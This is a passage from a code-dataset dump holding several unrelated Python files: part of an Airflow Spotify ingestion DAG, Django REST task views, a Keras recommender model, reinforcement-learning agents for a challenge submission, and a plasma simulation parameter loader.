every list by order \n\ts = \"\"\"INSERT INTO spotify.lyrics(artist_name,track_name,track_id,lyrics) VALUES (%s, %s, %s, %s)\"\"\"\n\n #for each song\n\tfor song in artist_tracks:\n\t\tobj = []\n \n #if you can find the lyrics\n\t\ttry:\n \t#initiate an object\n\t\t\tlyrics_song = lyrics(artist=song[0], song=song[1], \n\t\t\t\t\t\t\t\tidentifier_type=\"artist_song\")\n #get the lyrics\n\t\t\tlyrics_song = lyrics_song.get_lyrics()\n\t\texcept:\n \t#or else continue to next song\n\t\t\tcontinue\n \n #append to the list initiated above the lyrics along\n #with artist name, song title and track id\n\t\tobj.append([song[0], song[1], song[2], lyrics_song])\n\n #insert the data in the table\n\t\tcursor.executemany(s, obj)\n\t\tconn.commit() \n\n\tlog.info(\"Ran query\")\n\n\t#Close the connection\n\tconn.close()\n\n# =============================================================================\n# 3. Set up the dags\n# =============================================================================\ncreate_rest_tables = PythonOperator(\n task_id='create_rest_tables_in_db',\n python_callable=create_rest_tables_in_db,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_artists = PythonOperator(\n task_id='insert_rows_artists',\n python_callable=insert_rows_artists,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_albums = PythonOperator(\n task_id='insert_rows_albums',\n python_callable=insert_rows_albums,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_tracks = PythonOperator(\n task_id='insert_rows_tracks',\n python_callable=insert_rows_tracks,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_audio_features = PythonOperator(\n task_id='insert_rows_audio_features',\n python_callable=insert_rows_audio_features,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_image_links = PythonOperator(\n task_id='insert_rows_image_links',\n python_callable=insert_rows_image_links,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\ninsert_rows_lyrics = PythonOperator(\n task_id='insert_rows_lyrics',\n python_callable=insert_rows_lyrics,\n op_kwargs=default_args,\n provide_context=True,\n dag=dag,\n)\n\n# =============================================================================\n# 4. Indicating the order of the dags\n# =============================================================================\ncreate_rest_tables >> insert_rows_artists >> insert_rows_albums >> insert_rows_tracks >> insert_rows_audio_features >> insert_rows_image_links >> insert_rows_lyrics","sub_path":"Airflow/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":29600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"296895433","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .serializers import TaskSerializer\nfrom .models import Task\nfrom rest_framework import status\nimport copy\nfrom .services.error_catcher import protected_view\n\n\n@protected_view\n@api_view(['GET'])\ndef apiOverview(request):\n \"\"\"\n Функция, предоставляющая опции данного API\n \"\"\"\n api_endpoints = {\n 'List': '/tasks-list/',\n 'Create': '/create_task/',\n 'Get': '/get-task/',\n 'Update': '/mark-as-done/',\n 'Delete': '/delete-task/'\n }\n return Response(api_endpoints)\n\n\n@protected_view\n@api_view(['GET'])\ndef taskList(request):\n \"\"\"\n Функция, отображающая список существующих в БД документов (в терминологии MongoDB)\n \"\"\"\n tasks = Task.objects.all()\n serializer = TaskSerializer(tasks, many=True)\n return Response({'tasks': serializer.data})\n\n\n@protected_view\n@api_view(['POST'])\ndef taskCreate(request):\n \"\"\"\n Функция, валидирующая входные данные о новой задаче и создающая ее\n \"\"\"\n serializer = TaskSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response({'message': 'Task is successfully created'}, status=status.HTTP_201_CREATED)\n else:\n return Response({'message': 'Validation error'}, status=status.HTTP_400_BAD_REQUEST)\n\n\n@protected_view\n@api_view(['DELETE'])\ndef taskDelete(request, pk):\n \"\"\"\n Функция, удаляющая документ с задачей из базы данных по переданному primary key\n \"\"\"\n try:\n task = Task.objects.get(id=pk)\n task.delete()\n return Response({'message': 'Task is successfully deleted'}, status=status.HTTP_200_OK)\n except Task.DoesNotExist:\n return Response({'message': 'Task does not exist'}, status=status.HTTP_404_NOT_FOUND)\n\n\n@protected_view\n@api_view(['GET'])\ndef taskGet(request, pk):\n \"\"\"\n Функция, возвращающая информацию о существующей в бд задаче по переданному primary key\n \"\"\"\n try:\n task = Task.objects.get(id=pk)\n serializer = TaskSerializer(task, many=False)\n return Response({'task': serializer.data}, status=status.HTTP_200_OK)\n except Task.DoesNotExist:\n return Response({'message': 'Task does not exist'}, status=status.HTTP_404_NOT_FOUND)\n\n\n@protected_view\n@api_view(['GET'])\ndef taskDone(request, pk):\n \"\"\"\n Функция, отмечающая задачу как \"выполненная\" по определенному primary key\n \"\"\"\n task = Task.objects.get(id=pk)\n updated_task = copy.deepcopy(task)\n updated_task.instance = True\n serializer = TaskSerializer(instance=task, data=TaskSerializer(updated_task).data)\n if serializer.is_valid():\n serializer.save()\n return Response({'message': 'Task is marked as done'}, status=status.HTTP_200_OK)\n else:\n return Response({'message': 'Validation error'}, status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"tasks_api/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"506952597","text":"import tensorflow.keras as keras\nimport tensorflow.keras.backend as K\n# import tensorflow as tf\n\n\ndef init_normal(shape=[0, 0.05], seed=None):\n mean, stddev = shape\n return keras.initializers.RandomNormal(\n mean=mean, stddev=stddev, seed=seed)\n\n\ndef normalize(tensor):\n K.l2_normalize(tensor)\n return tensor\n\n\ndef get_model(num_users, num_items, num_tasks,\n e_dim=16, mlp_layer=[32], reg=0):\n \"\"\"\n This function is used to get the Att-Mul-MF model described\n in the paper.\n Args:\n :param num_users: number of users in the dataset\n :param num_items: number of items in the dataset\n :param num_tasks: number of tasks (item genres)\n :param e_dim: the embedding dimension\n :param f_dim: the preference feature space dimension\n :param reg: regularization coefficient\n \"\"\"\n num_layer = len(mlp_layer)\n # Input variables\n user_input = keras.layers.Input(shape=(1,), dtype='int32',\n name='user_input')\n item_input = keras.layers.Input(shape=(1,), dtype='int32',\n name='item_input')\n\n gmf_user_embedding = keras.layers.Embedding(\n input_dim=num_users, output_dim=int(e_dim),\n name='gmf_user_embedding',\n embeddings_initializer=init_normal(),\n embeddings_regularizer=keras.regularizers.l2(reg),\n input_length=1)\n\n gmf_item_embedding = keras.layers.Embedding(\n input_dim=num_items, output_dim=int(e_dim),\n name='gmf_item_embedding',\n embeddings_initializer=init_normal(),\n embeddings_regularizer=keras.regularizers.l2(reg),\n input_length=1)\n\n \n mlp_user_embedding = keras.layers.Embedding(\n input_dim=num_users, output_dim=int(mlp_layer[0]/2),\n name='mlp_user_embedding',\n embeddings_initializer=init_normal(),\n embeddings_regularizer=keras.regularizers.l2(reg),\n input_length=1)\n\n mlp_item_embedding = keras.layers.Embedding(\n input_dim=num_items, output_dim=int(mlp_layer[0]/2),\n name='mlp_item_embedding',\n embeddings_initializer=init_normal(),\n embeddings_regularizer=keras.regularizers.l2(reg),\n input_length=1)\n\n aux_embedding = keras.layers.Embedding(\n input_dim=num_items, output_dim=int(mlp_layer[0]),\n name='aux_item_embedding',\n embeddings_initializer=init_normal(),\n embeddings_regularizer=keras.regularizers.l2(reg),\n input_length=1)\n\n # Flatten the output tensor\n gmf_user_latent = keras.layers.Flatten()(gmf_user_embedding(user_input))\n gmf_item_latent = keras.layers.Flatten()(gmf_item_embedding(item_input))\n mlp_user_latent = keras.layers.Flatten()(mlp_user_embedding(user_input))\n mlp_item_latent = keras.layers.Flatten()(mlp_item_embedding(item_input))\n aux_item_latent = keras.layers.Flatten()(aux_embedding(item_input))\n\n\n # Start gmf part\n gmf_vector = keras.layers.Multiply()([gmf_user_latent, gmf_item_latent])\n # Start mlp part\n mlp_vector = keras.layers.Concatenate(name='mlp_concatenation')(\n [mlp_user_latent, mlp_item_latent])\n\n # item vector feature extraction, split at the last layer\n for idx in range(1, num_layer-1):\n layer = keras.layers.Dense(\n units=mlp_layer[idx],\n activation='relu',\n kernel_initializer='lecun_uniform',\n kernel_regularizer=keras.regularizers.l2(reg),\n name='aux_item_layer_{:d}'.format(idx))\n aux_item_latent = layer(aux_item_latent)\n\n # aux_item_vector = keras.layers.Dense(\n # units=num_tasks*mlp_layer[-1],\n # activation='relu',\n # kernel_initializer='lecun_uniform',\n # kernel_regularizer=keras.regularizers.l2(reg),\n # name='aux_item_vector')(aux_item_latent)\n # aux_item_vector = keras.layers.Reshape(\n # (num_tasks, mlp_layer[-1]),\n # name='multitask_item_vector')(aux_item_vector)\n\n # create multitask item output.\n item_feature_list = [] # all item features are stored here\n for idx in range(0, num_tasks):\n layer = keras.layers.Dense(\n units=mlp_layer[-1],\n activation='relu',\n kernel_initializer='lecun_uniform',\n kernel_regularizer=keras.regularizers.l2(reg),\n name='item_task_feature_{:d}'.format(idx))\n\n item_feature = layer(aux_item_latent)\n item_feature_list.append(item_feature)\n\n item_out_list = [] # all item outputs are stored here\n for idx in range(0, num_tasks):\n layer = keras.layers.Dense(\n units=1,\n activation='relu',\n kernel_initializer='lecun_uniform',\n kernel_regularizer=keras.regularizers.l2(reg),\n name='item_task_out_{:d}'.format(idx))\n\n item_task_output = layer(item_feature_list[idx])\n item_out_list.append(item_task_output)\n\n item_outputs = keras.layers.Concatenate()(item_out_list)\n\n\n # mlp vector feature extraction, no split\n for idx in range(1, num_layer):\n layer = keras.layers.Dense(\n units=mlp_layer[idx],\n activation='relu',\n kernel_initializer='lecun_uniform',\n kernel_regularizer=keras.regularizers.l2(reg),\n name='mlp_vector_layer_{:d}'.format(idx))\n mlp_vector = layer(mlp_vector)\n\n # Compute gmf attention scores use item_feature_list\n item_feature_matrix = keras.layers.Concatenate()(item_feature_list)\n item_feature_matrix = keras.layers.Reshape(\n (num_tasks, mlp_layer[-1]))(item_feature_matrix)\n gmf_weight_vector = keras.layers.Dot(axes=(-1, -1))(\n [item_feature_matrix, gmf_vector])\n\n gmf_weight_vector = keras.layers.Activation('softmax')(gmf_weight_vector)\n gmf_att_vector = keras.layers.Dot(axes=(-1, -2), name='gmf_attention_layer')(\n [gmf_weight_vector, item_feature_matrix])\n # Compute mlp attention scores use item_feature_list\n # mlp_weight_vector = keras.layers.Dot(axes=(-1, -1))(\n # [item_feature_matrix, mlp_vector])\n\n # mlp_weight_vector = keras.layers.Activation('softmax')(mlp_weight_vector)\n # mlp_att_vector = keras.layers.Dot(axes=(-1, -2), name='mlp_attention_layer')(\n # [mlp_weight_vector, item_feature_matrix])\n\n\n # Concatenate gmf_vector and gmf_att_vector\n gmf_pred_vector = keras.layers.Concatenate()([gmf_vector, gmf_att_vector])\n # Concatenate mlp_vector and mlp_att_vector\n # mlp_pred_vector = keras.layers.Concatenate()([mlp_vector, mlp_att_vector])\n\n # Concatenate gmf and mlp pred_vector\n pred_vector = keras.layers.Concatenate()([gmf_pred_vector, mlp_vector])\n\n prediction = keras.layers.Dense(\n units=1, activation='sigmoid',\n kernel_initializer='lecun_uniform',\n kernel_regularizer=keras.regularizers.l2(reg),\n name='prediction')(pred_vector)\n\n model = keras.models.Model(inputs=[user_input, item_input],\n outputs=[prediction, item_outputs])\n\n\n return model\n","sub_path":"att_neumf_model.py","file_name":"att_neumf_model.py","file_ext":"py","file_size_in_byte":7025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"78155409","text":"import random\nimport json\nimport requests\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom collections import defaultdict\nfrom sys import exit, exc_info, argv\nfrom IPython.display import clear_output\nfrom netsapi.challenge import *\n\n\nclass QLearningAgent:\n def __init__(self, alpha, epsilon, discount, get_legal_actions):\n\n possible_acts = {}\n possible_acts[1] = [item for sublist in [[(x, y) for x in [0]] for y in [\n 0.6 + 0.03 * i for i in range(11)]] for item in sublist]\n possible_acts[2] = [item for sublist in [\n [(x, y) for x in [0.6 + 0.03 * i for i in range(11)]] for y in [0]] for item in sublist]\n possible_acts[3] = [item for sublist in [[(x, y) for x in [0]] for y in [\n 0.6 + 0.03 * i for i in range(11)]] for item in sublist]\n possible_acts[4] = [item for sublist in [\n [(x, y) for x in [0.6 + 0.03 * i for i in range(11)]] for y in [0]] for item in sublist]\n possible_acts[5] = [item for sublist in [[(x, y) for x in [0]] for y in [\n 0.6 + 0.03 * i for i in range(11)]] for item in sublist]\n possible_acts[6] = [item for sublist in [[(x, y) for x in [0, 0.6]] for y in [\n 0.1 * i for i in range(11)]] for item in sublist]\n\n self.dict = {x: possible_acts[x] for x in range(1, 7)}\n self.get_legal_actions = lambda x: self.dict[x]\n self._qvalues = defaultdict(lambda: defaultdict(lambda: 0))\n self.alpha = alpha\n self.epsilon = epsilon\n self.discount = discount\n\n def get_qvalue(self, state, action):\n return self._qvalues[state][action]\n\n def set_qvalue(self, state, action, value):\n self._qvalues[state][action] = value\n\n def get_value(self, state):\n possible_actions = self.get_legal_actions(state)\n if len(possible_actions) == 0:\n return 0.0\n value = np.max(np.array([self.get_qvalue(state, action)\n for action in possible_actions]))\n return value\n\n def update(self, state, action, reward, next_state):\n gamma = self.discount\n learning_rate = self.alpha\n qvalue = (1 - learning_rate) * self.get_qvalue(state, action)\\\n + learning_rate * (reward + gamma * self.get_value(next_state))\n self.set_qvalue(state, action, qvalue)\n\n def update_2_step(self, state, action, reward, next_state,\n next_reward, next_next_state):\n gamma = self.discount\n learning_rate = self.alpha\n qvalue = (1 - learning_rate) * self.get_qvalue(state, action) +\\\n learning_rate * (reward + gamma * next_reward +\n gamma ** 2 * self.get_value(next_next_state))\n self.set_qvalue(state, action, qvalue)\n\n def get_best_action(self, state):\n possible_actions = self.get_legal_actions(state)\n if len(possible_actions) == 0:\n return None\n\n best_qvalue = np.max([self.get_qvalue(state, action)\n for action in possible_actions])\n options = [x for x in possible_actions if self.get_qvalue(\n state, x) == best_qvalue]\n choice = np.random.choice(list(range(len(options))))\n best_action = options[choice]\n return best_action\n\n def get_action(self, state):\n possible_actions = self.get_legal_actions(state)\n action = None\n if len(possible_actions) == 0:\n return None\n epsilon = self.epsilon\n random_uniform = np.random.uniform(0, 1)\n\n if random_uniform < epsilon:\n chosen_action = random.choice(possible_actions)\n else:\n chosen_action = self.get_best_action(state)\n\n return chosen_action\n\n\nclass EVSarsaAgent(QLearningAgent):\n def get_value(self, state):\n epsilon = self.epsilon\n possible_actions = self.get_legal_actions(state)\n\n if len(possible_actions) == 0:\n return 0.0\n\n values = [self.get_qvalue(state, action)\n for action in possible_actions]\n\n best_action = np.argmax(values)\n\n state_value = sum([self.eval_prob(best_action, action, len(possible_actions), epsilon) *\n self.get_qvalue(state, action) for action in possible_actions])\n return state_value\n\n def eval_prob(self, best_action, action, num_actions, eps):\n if (action == best_action).all():\n return 1 - eps + eps/num_actions\n else:\n return eps/num_actions\n\n\nclass CustomAgent:\n def __init__(self, environment, episode_number=20):\n self.environment = environment\n self.episode_number = episode_number\n\n self.run = []\n self.scores = []\n self.policies = []\n\n def generate(self):\n best_policy = None\n best_reward = -float('Inf')\n candidates = []\n rewards = []\n try:\n # select the policies learnt in this case we are simply randomly generating\n agent = EVSarsaAgent(alpha=0.5, epsilon=0., discount=0.99,\n get_legal_actions=lambda s: range(3))\n for i in range(self.episode_number):\n self.environment.reset()\n if i <= 13:\n agent.epsilon = 1.0\n else:\n agent.epsilon = 0\n policy = {}\n episodic_reward = 0\n for j in range(5):\n action = agent.get_action(self.environment.state)\n #self.environment.policy[str(self.environment.state)] = action\n\n prev_state = self.environment.state\n ob, reward, done, _ = self.environment.evaluateAction(\n action)\n agent.update(prev_state, action, reward, ob)\n episodic_reward += reward\n policy[str(j+1)] = action\n rewards.append(episodic_reward)\n candidates.append(policy)\n\n #rewards = self.environment.evaluatePolicy(candidates)\n best_policy = candidates[np.argmax(rewards)]\n best_reward = rewards[np.argmax(rewards)]\n print(best_reward, best_policy)\n except (KeyboardInterrupt, SystemExit):\n print(exc_info())\n\n return best_policy, best_reward\n\n def scoringFunction(self):\n scores = []\n for ii in range(10):\n self.environment.reset()\n finalresult, reward = self.generate()\n self.policies.append(finalresult)\n self.scores.append(reward)\n self.run.append(ii)\n\n return np.mean(self.scores)/np.std(self.scores)\n\n def create_submissions(self, filename='my_submission.csv'):\n labels = ['run', 'reward', 'policy']\n rewards = np.array(self.scores)\n data = {'run': self.run,\n 'rewards': rewards,\n 'policy': self.policies,\n }\n submission_file = pd.DataFrame(data)\n submission_file.to_csv(filename, index=False)\n\n\nEvaluateChallengeSubmission(\n ChallengeProveEnvironment, CustomAgent, \"vlad_submission.csv\")\n","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":7202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"444419632","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 22 11:00:58 2017\n\n@author: iarey\n\nChanging so that values are calculated here, but main inputs come from files\nThat way I'd only have to change the input file, rather than manually changing\nevery single value on each run. Makes doing pearl-studies much easier.\n\nThis script will just be about loading them in, doing checks, and initializing\nderived values/casting to SI units (e.g. alfven velocity)\n\"\"\"\nimport numpy as np\nimport sys\nimport os\n\non_grid = False\n\nscript_dir = sys.path[0]\n\n## INPUT FILES ##\nif on_grid == False:\n run_input = '../run_inputs/run_params.txt'\n plasma_input = '../run_inputs/plasma_params.txt'\nelse:\n run_input = script_dir + '/../run_inputs/run_params_grid.txt'\n plasma_input = script_dir + '/../run_inputs/plasma_params_grid.txt'\n\nrandomise_gyrophase = False\n\n# Load run parameters\nwith open(run_input, 'r') as f:\n ### RUN PARAMETERS ###\n drive = f.readline().split()[1] # Drive letter or path for portable HDD e.g. 'E:/' or '/media/yoshi/UNI_HD/'\n save_path = f.readline().split()[1] # Series save dir : Folder containing all runs of a series\n run = f.readline().split()[1] # Series run number : For multiple runs (e.g. parameter studies) with same overall structure (i.e. test series)\n\n save_particles = int(f.readline().split()[1]) # Save data flag : For later analysis\n save_fields = int(f.readline().split()[1]) # Save plot flag : To ensure hybrid is solving correctly during run\n seed = int(f.readline().split()[1]) # RNG Seed : Set to enable consistent results for parameter studies\n cpu_affin = f.readline().split()[1] # Set CPU affinity for run as list. Set as None to auto-assign. \n\n ## FLAGS ##\n homogenous = int(f.readline().split()[1]) # Set B0 to homogenous (as test to compare to parabolic)\n particle_periodic = int(f.readline().split()[1]) # Set particle boundary conditions to periodic\n particle_reflect = int(f.readline().split()[1]) # Set particle boundary conditions to reflective\n particle_reinit = int(f.readline().split()[1]) # Set particle boundary conditions to reinitialize\n field_periodic = int(f.readline().split()[1]) # Set field boundary to periodic (False: Absorbtive Boundary Conditions)\n disable_waves = int(f.readline().split()[1]) # Zeroes electric field solution at each timestep\n te0_equil = int(f.readline().split()[1]) # Initialize te0 to be in equilibrium with density\n source_smoothing = int(f.readline().split()[1]) # Smooth source terms with 3-point Gaussian filter\n E_damping = int(f.readline().split()[1]) # Damp E in a manner similar to B for ABCs\n quiet_start = int(f.readline().split()[1]) # Flag to use quiet start (False :: semi-quiet start)\n radix_loading = int(f.readline().split()[1]) # Load particles with reverse-radix scrambling sets (not implemented in this version)\n damping_multiplier= float(f.readline().split()[1]) # Multiplies the r-factor to increase/decrease damping rate.\n\n ### SIMULATION PARAMETERS ###\n NX = int(f.readline().split()[1]) # Number of cells - doesn't include ghost cells\n ND = int(f.readline().split()[1]) # Damping region length: Multiple of NX (on each side of simulation domain)\n max_rev = float(f.readline().split()[1]) # Simulation runtime, in multiples of the ion gyroperiod (in seconds)\n dxm = float(f.readline().split()[1]) # Number of c/wpi per dx (Ion inertial length: anything less than 1 isn't \"resolvable\" by hybrid code, anything too much more than 1 does funky things to the waveform)\n r_A = float(f.readline().split()[1]) # Ionospheric anchor point (loss zone/max mirror point) - \"Below 100km\" - Baumjohann, Basic Space Plasma Physics\n \n ie = int(f.readline().split()[1]) # Adiabatic electrons. 0: off (constant), 1: on.\n min_dens = float(f.readline().split()[1]) # Allowable minimum charge density in a cell, as a fraction of ne*q\n rc_hwidth = f.readline().split()[1] # Ring current half-width in number of cells (2*hwidth gives total cells with RC) \n \n orbit_res = float(f.readline().split()[1]) # Orbit resolution\n freq_res = float(f.readline().split()[1]) # Frequency resolution : Fraction of angular frequency for multiple cyclical values\n part_res = float(f.readline().split()[1]) # Data capture resolution in gyroperiod fraction: Particle information\n field_res = float(f.readline().split()[1]) # Data capture resolution in gyroperiod fraction: Field information\n\n ### RUN DESCRIPTION ###\n run_description = f.readline() # Commentary to attach to runs, helpful to have a quick description\n\nwith open(plasma_input, 'r') as f:\n ### PARTICLE PARAMETERS ###\n species_lbl = np.array(f.readline().split()[1:])\n \n temp_color = np.array(f.readline().split()[1:])\n temp_type = np.array(f.readline().split()[1:], dtype=int)\n dist_type = np.array(f.readline().split()[1:], dtype=int)\n nsp_ppc = np.array(f.readline().split()[1:], dtype=int)\n \n mass = np.array(f.readline().split()[1:], dtype=float)\n charge = np.array(f.readline().split()[1:], dtype=float)\n drift_v = np.array(f.readline().split()[1:], dtype=float)\n density = np.array(f.readline().split()[1:], dtype=float)*1e6\n anisotropy = np.array(f.readline().split()[1:], dtype=float)\n \n # Particle energy: If beta == 1, energies are in beta. If not, they are in eV \n E_per = np.array(f.readline().split()[1:], dtype=float)\n E_e = float(f.readline().split()[1])\n beta_flag = int(f.readline().split()[1])\n\n L = float(f.readline().split()[1]) # Field line L shell\n B_eq = f.readline().split()[1] # Initial magnetic field at equator: None for L-determined value (in T) :: 'Exact' value in node ND + NX//2\n\n\n\n#%%### DERIVED SIMULATION PARAMETERS\n### PHYSICAL CONSTANTS ###\nq = 1.602177e-19 # Elementary charge (C)\nc = 2.998925e+08 # Speed of light (m/s)\nmp = 1.672622e-27 # Mass of proton (kg)\nme = 9.109384e-31 # Mass of electron (kg)\nkB = 1.380649e-23 # Boltzmann's Constant (J/K)\ne0 = 8.854188e-12 # Epsilon naught - permittivity of free space\nmu0 = (4e-7) * np.pi # Magnetic Permeability of Free Space (SI units)\nRE = 6.371e6 # Earth radius in metres\nB_surf = 3.12e-5 # Magnetic field strength at Earth surface (equatorial)\n\nNC = NX + 2*ND # Total number of cells\nne = density.sum() # Electron number density\nE_par = E_per / (anisotropy + 1) # Parallel species energy\n\nif B_eq == '-':\n B_eq = (B_surf / (L ** 3)) # Magnetic field at equator, based on L value\n \nif rc_hwidth == '-':\n rc_hwidth = 0\n \nif beta_flag == 0:\n # Input energies as (perpendicular) eV\n beta_per = None\n Te0_scalar = E_e * 11603.\n Tpar = E_par * 11603.\n Tper = E_per * 11603.\nelse: \n # Input energies in terms of a (perpendicular) beta\n Tpar = E_par * B_eq ** 2 / (2 * mu0 * ne * kB)\n Tper = E_per * B_eq ** 2 / (2 * mu0 * ne * kB)\n Te0_scalar = E_par[0] * B_eq ** 2 / (2 * mu0 * ne * kB)\n\nwpi = np.sqrt(ne * q ** 2 / (mp * e0)) # Proton Plasma Frequency, wpi (rad/s)\nva = B_eq / np.sqrt(mu0*ne*mp) # Alfven speed at equator: Assuming pure proton plasma\n\ndx = dxm * c / wpi # Spatial cadence, based on ion inertial length\nxmax = NX // 2 * dx # Maximum simulation length, +/-ve on each side\nxmin =-NX // 2 * dx\n\ncharge *= q # Cast species charge to Coulomb\nmass *= mp # Cast species mass to kg\ndrift_v *= va # Cast species velocity to m/s\n\nNj = len(mass) # Number of species\nn_contr = density / nsp_ppc # Species density contribution: Each macroparticle contributes this density to a cell\n\n# Number of sim particles for each species, total\nN_species = np.zeros(Nj, dtype=np.int64)\nfor jj in range(Nj):\n # Cold species in every cell NX \n if temp_type[jj] == 0: \n N_species[jj] = nsp_ppc[jj] * NX + 2 \n \n # Warm species only in simulation center, unless rc_hwidth = 0 (disabled) \n elif temp_type[jj] == 1:\n if rc_hwidth == 0:\n N_species[jj] = nsp_ppc[jj] * NX + 2\n else:\n N_species[jj] = nsp_ppc[jj] * 2*rc_hwidth + 2 \nN = N_species.sum()\n\nidx_start = np.asarray([np.sum(N_species[0:ii] ) for ii in range(0, Nj)]) # Start index values for each species in order\nidx_end = np.asarray([np.sum(N_species[0:ii + 1]) for ii in range(0, Nj)]) # End index values for each species in order\n\nif run == '-':\n # Work out how many runs exist, then add to it. Save a bit of work numerically increasing.\n if os.path.exists(drive + save_path) == False:\n run = 0\n else:\n run = len(os.listdir(drive + save_path))\n print('Run number AUTOSET to ', run)\nelse:\n run = int(run)\n \n############################\n### MAGNETIC FIELD STUFF ###\n############################\nB_nodes = (np.arange(NC + 1) - NC // 2) * dx # B grid points position in space\nE_nodes = (np.arange(NC) - NC // 2 + 0.5) * dx # E grid points position in space\n\nprint('Calculating length of field line...')\nN_fl = 1e5 # Number of points to calculate field line length (higher is more accurate)\nlat0 = np.arccos(np.sqrt((RE + r_A)/(RE*L))) # Latitude for this L value (at ionosphere height)\nh = 2.0*lat0/float(N_fl) # Step size of lambda (latitude)\nf_len = 0.0\nfor ii in range(int(N_fl)):\n lda = ii*h - lat0 # Lattitude for this step\n f_len += L*RE*np.cos(lda)*np.sqrt(4.0 - 3.0*np.cos(lda) ** 2) * h # Field line length accruance\nprint('Field line length = {:.2f} RE'.format(f_len/RE))\nprint('Simulation length = {:.2f} RE'.format(2*xmax/RE))\n\nif xmax > f_len / 2:\n sys.exit('Simulation length longer than field line. Aboring...')\n \nprint('Finding simulation boundary MLAT...')\ndlam = 1e-5 # Latitude increment in radians\nfx_len = 0.0; ii = 1 # Arclength/increment counters\nwhile fx_len < xmax:\n lam_i = dlam * ii # Current latitude\n d_len = L * RE * np.cos(lam_i) * np.sqrt(4.0 - 3.0*np.cos(lam_i) ** 2) * dlam # Length increment\n fx_len += d_len # Accrue arclength\n ii += 1 # Increment counter\n\n sys.stdout.write('\\r{:.1f}% complete'.format(fx_len/xmax * 100.))\n sys.stdout.flush()\nprint('\\n')\n\ntheta_xmax = lam_i # Latitude of simulation boundary\nr_xmax = L * RE * np.cos(theta_xmax) ** 2 # Radial distance of simulation boundary\nB_xmax = B_eq*np.sqrt(4 - 3*np.cos(theta_xmax)**2)/np.cos(theta_xmax)**6 # Magnetic field intensity at boundary\na = (B_xmax / B_eq - 1) / xmax ** 2 # Parabolic scale factor: Fitted to B_eq, B_xmax\nlambda_L = np.arccos(np.sqrt(1.0 / L)) # Lattitude of Earth's surface at this L\n\nif homogenous == 1:\n a = 0\n B_xmax = B_eq\n\nlat_A = np.arccos(np.sqrt((RE + r_A)/(RE*L))) # Anchor latitude in radians\nB_A = B_eq * np.sqrt(4 - 3*np.cos(lat_A) ** 2)\\\n / (np.cos(lat_A) ** 6) # Magnetic field at anchor point\n\nloss_cone_eq = np.arcsin(np.sqrt(B_eq / B_A))*180 / np.pi # Equatorial loss cone in degrees\nloss_cone_xmax = np.arcsin(np.sqrt(B_xmax / B_A)) # Boundary loss cone in radians\n\n\n# Freqs based on highest magnetic field value (at simulation boundaries)\ngyfreq = q*B_xmax/ mp # Proton Gyrofrequency (rad/s) at boundary (highest)\ngyfreq_eq = q*B_eq / mp # Proton Gyrofrequency (rad/s) at equator (slowest)\nk_max = np.pi / dx # Maximum permissible wavenumber in system (SI???)\nqm_ratios = np.divide(charge, mass) # q/m ratio for each species\n\n#%%### INPUT TESTS AND CHECKS\nif rc_hwidth == 0:\n rc_print = NX\nelse:\n rc_print = rc_hwidth*2\n\nprint('Run Started')\nprint('Run Series : {}'.format(save_path.split('//')[-1]))\nprint('Run Number : {}'.format(run))\nprint('Field save flag : {}'.format(save_fields))\nprint('Particle save flag : {}\\n'.format(save_particles))\n\nprint('Sim domain length : {:5.2f}R_E'.format(2 * xmax / RE))\nprint('Density : {:5.2f}cc'.format(ne / 1e6))\nprint('Equatorial B-field : {:5.2f}nT'.format(B_eq*1e9))\nprint('Maximum B-field : {:5.2f}nT'.format(B_xmax*1e9))\nprint('Iono. B-field : {:5.2f}mT'.format(B_A*1e6))\nprint('Equat. Loss cone : {:<5.2f} degrees '.format(loss_cone_eq))\nprint('Bound. Loss cone : {:<5.2f} degrees '.format(loss_cone_xmax * 180. / np.pi))\nprint('Maximum MLAT (+/-) : {:<5.2f} degrees '.format(theta_xmax * 180. / np.pi))\nprint('Iono. MLAT (+/-) : {:<5.2f} degrees\\n'.format(lambda_L * 180. / np.pi))\n\nprint('Equat. Gyroperiod: : {}s'.format(round(2. * np.pi / gyfreq, 3)))\nprint('Inverse rad gyfreq : {}s'.format(round(1 / gyfreq, 3)))\nprint('Maximum sim time : {}s ({} gyroperiods)\\n'.format(round(max_rev * 2. * np.pi / gyfreq_eq, 2), max_rev))\n\nprint('{} spatial cells, {} with ring current, 2x{} damped cells'.format(NX, rc_print, ND))\nprint('{} cells total'.format(NC))\nprint('{} particles total\\n'.format(N))\n\nif cpu_affin != '-':\n import psutil\n run_proc = psutil.Process()\n run_proc.cpu_affinity(cpu_affin)\n if len(cpu_affin) == 1:\n print('CPU affinity for run (PID {}) set to logical core {}'.format(run_proc.pid, run_proc.cpu_affinity()[0]))\n else:\n print('CPU affinity for run (PID {}) set to logical cores {}'.format(run_proc.pid, ', '.join(map(str, run_proc.cpu_affinity()))))\n \ndensity_normal_sum = (charge / q) * (density / ne)\n\n \nsimulated_density_per_cell = (n_contr * charge * nsp_ppc).sum()\nreal_density_per_cell = ne*q\n\nif abs(simulated_density_per_cell - real_density_per_cell) / real_density_per_cell > 1e-10:\n print('--------------------------------------------------------------------------------')\n print('WARNING: DENSITY CALCULATION ISSUE: RECHECK HOW MACROPARTICLE CONTRIBUTIONS WORK')\n print('--------------------------------------------------------------------------------')\n print('')\n print('ABORTING...')\n 